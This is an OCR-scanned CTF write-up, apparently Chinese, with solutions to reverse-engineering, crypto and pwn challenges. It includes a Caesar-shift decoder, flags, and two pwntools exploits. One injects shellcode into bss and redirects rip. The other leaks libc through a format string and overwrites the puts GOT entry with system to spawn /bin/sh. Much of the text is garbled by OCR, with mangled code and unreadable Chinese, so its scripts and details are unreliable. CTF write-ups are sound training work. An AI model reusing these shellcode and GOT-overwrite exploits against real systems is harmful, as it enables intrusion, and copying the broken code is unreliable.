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it ( vS - 1 = strlen(aH5wg2gMcitTlou) )

puts((int}aYouBadGuy);
return -1;

T
for ( i =@; i <= (signed int){vS - 2); ++i )
i
vE = *((_BYTE *)&18 + i);
if (w8 > "Z" || vE < "A")
{
if (vB > "z" || v8 < "a" )
continue;
V3 = (v - 83) % 26 + 97;
1
glse
{
v9 = (vB - 51) % 26 + 65;
*((_BYTE *)&10 + i) = vO;
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puts((int)}alAgreekithYouD, &v11[1812]);
system(aPause);
result = 8;
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if ( !stromp(aHSwg2gMcifTlou, (const char *

RS 2L

glse

puts((int}aYouBaaaaaadGuy);
result = -1;

} 0
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char a_list[]
unsigned int v5=strlen(a_list)+1;
int i;
char v8;
char v9;
for(i=0;i<=v5-2;
{
v8 a_list[i];
if(v8 v8
{
if(v8 v8
continue;
v9 (v8

a_list[i] v9;

}

printf( ,a_list);
)

RIEWXHGHAL, BBHZ. &% exp WT:

ascii_lowercase string.ascii_lowercase

@scii_uppercase string.ascii_uppercase

for letter in a:
log (4]
if letter in ascii_uppercase:
for upper in ascii_uppercase:
c_upper ( (upper)-51)%26+65
if (c_upper) letter:
upper
1
print( . (letter,upper))
if letter in ascii_lowercase:
for lower in ascii_lowercase:
c_lower ( (lower)-83)%26+97
if (c_lower) letter:
b lower
log 1
print( . (letter,lower))
if log 9:
letter
(letter))
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Crypto

md5_brute
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flag
flag{wangwu-2019-1111-9527}
code
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msgl 0x92929a6a92a9656699a699a5669959569962996aa6a965a29a62a596a699665292269965526965696552929a9a595a6965569a5
966556695526965295962992292956626992a92969969669aa6969a9559596669

(msgl)[2:]

flag

flag{zw1tt1hl-7zcv-ebfk-akxt-i4xdsxeuv5d3}
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it's very easy to solve this flag{Easy!eAsyleaSyl}

flag
flag{Easy!eAsyleaSy!}
Pwn

Electrical System

644z, A NX RIFHIFESF. Eid DA 247, ERREFEIIRS, FEERE DR,

* __int64 buf; // [rsp+8h] [rbp-8h]

buf = alj;

puts(byte 488E45);

puts("Check: view your electricity Balance™);
puts("Recharge: add more meoney to your card:™);
puts("Exit: Exit the System™)};

puts("Please enter your cholice:™);

read(®, &buf, Bx28ulL g
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puts(“Please enter your choice:™);
read(@, &buf, @x26ull);

[#5] choose segment to jump

MName Start End R W X D L Algn Base Ty
=] bs 00000000006020C0 0000000006021 68 Eiw L 32byte 0012 pu
=TT LA [0 8]0 u i 0 ) 810 a0 e e e T ¥ L byte onoz |
el . data 0000000000602095 0000000006020 45 E W L gword oo11 pu

BRAFAHBEE: %A DH, 1 shellcode #iit2. 7ESHRE, #A Check B3 Recharge , WA exit(0) , AREFRLMIERK L
5, ¥ rip BS A bss Bl (0x6020e0)

Q: AttAFEEH AR Check Bk Recharge ?
A: BEKR menu_brand (0x0000000000400AEE) R [mIHihl, BP5gp—IkEHEFEA SR E EERERBES EMBEE bss B),
IR % B AR A & & menu_brand # exit() B, FTCAREMA—ANTERIET . XEN T HHEHE Check o

B &expll T :

from pwn import
context(os ,arch ,log level

p process( )
p.recvuntil( )
p.sendline(asm(shellcraft.sh()))

recharge_addr = 0x0000000000400A6F
sh_addr 0Xx000000VVVV6020ED

p.recvuntil(
p.sendline( p64(sh_addr))

p.interactive()

flag
flag{8e0ab265-066¢c-4d9c-8cc4-bd5a425aadae}
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pwndbg ] REGISTERS HE N AIERBAL? RGN, LB ECEES T rip K18, HR REGISTERS B2 FEE. &
W # W7 (Ox7fifffffdd48), WTLAESE rip CEBBE T . XEFE ¥ payload i) bss ML BEECN ‘@a™*0x8 , B, )5 gdb BfF
FH ALK core XX, i rip HIfE.



Please enter your choice:

Checkaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x0000000000400b5d in ?? ()
LEGEND: STACK HEAP CODE DATA RWX RODATA
[ REGISTERS ]
OX7fffffffdd38 «—
Ox400ec7 <«— push Ox6b6365 /*
Ox7fffffffdd4e «—
0x400b5d <« call 0x400a3a
[ STACK ]
:0000| rsp Ox7fffffffdd3e
:0008| rdi Ox7fffffffdd3s

:0010| rbp ox7fffffffdd4o
0
10028 OxX7FFFFFffdd58 «— 0x500000000
10030 Ox7FFFFfffdd6@ — 0x400ced «— push  ri5
:@@38| Ox7fffffffdde8 — Ox7ffff7a2d830 (__ libc_start_main+240) <«— mov edi, eax

pwndbg> x/20gx @x7fffffffdd38

Px7fffffffdd38: 0x6161616b63656843 0x6161616161616161
Px7fffffffdd48: 0x6161616161616161 0x6161616161616161
Px7fffffffdd58: 0x0000000500000000 Ox0000OVVROV400Ced
Px7fffffffdde8: 0x00007ffff7a2d830 Ox0000000000000001
Px7Fffffffdd78: 0x00007fffffffded8 0x00000001f7ffccad
Px7ffffffdd88: 0x0000000000400bc6 Ox00V00OVVBOVVOVO

Car Search System

BALFRFHRE, <RAELENE:

sub_B884871B();

while ( 1 )

{

gmemcpy (&1, "Plz input the car ID your v
2 o= 8;

Vi = @3

N H

printf("%s", &v1);

read(@, &buf, Bx50u);

Tuf, "exit") )

memset(&buf, @, Bx36u);

car_infa();

if ( w7 ==

{
printf("%s", aWowYouFindTheB);
printf("%s", aPlzLeftYourNam);
read(@, &=, @xleu);
printf("%s", aYourAreSuchAlu);

£

BFERAENX R FHAER: printf A& RARAMEDY  libc_start main+247 #ibik, 8H libc FEHudtk, ¥ putgot BE R
system , &gk v7 {&, FIH read BHEEA binsh, A put B, fiik system(/bin/sh’) .

Bk v7 B, BB ERE, BFE4Sdown, FrA T LURIEHEE v8 SRIEHM. —-pumpkind

& expllF:



from pwn import
context.terminal=[
context.log level

p process(

_libc_start_main (p.recvline().strip( ),16)-247
(__libc_start _main)
__libc_start_main lib.symbols[
log.success( libc)
system = libc+1lib.symbols[ ]
log.success( system)

p.recvuntil( )
payload = fmtstr_payload(30,{elf.got[ ]:system})
p.sendline(payload)

p.sendline(payload)
point (p.recvline().strip( ),16)
log.success( point)

p.recvuntil(
payload = p32(point)
p.sendline(payload)

p.sendlineafter(

p.interactive()
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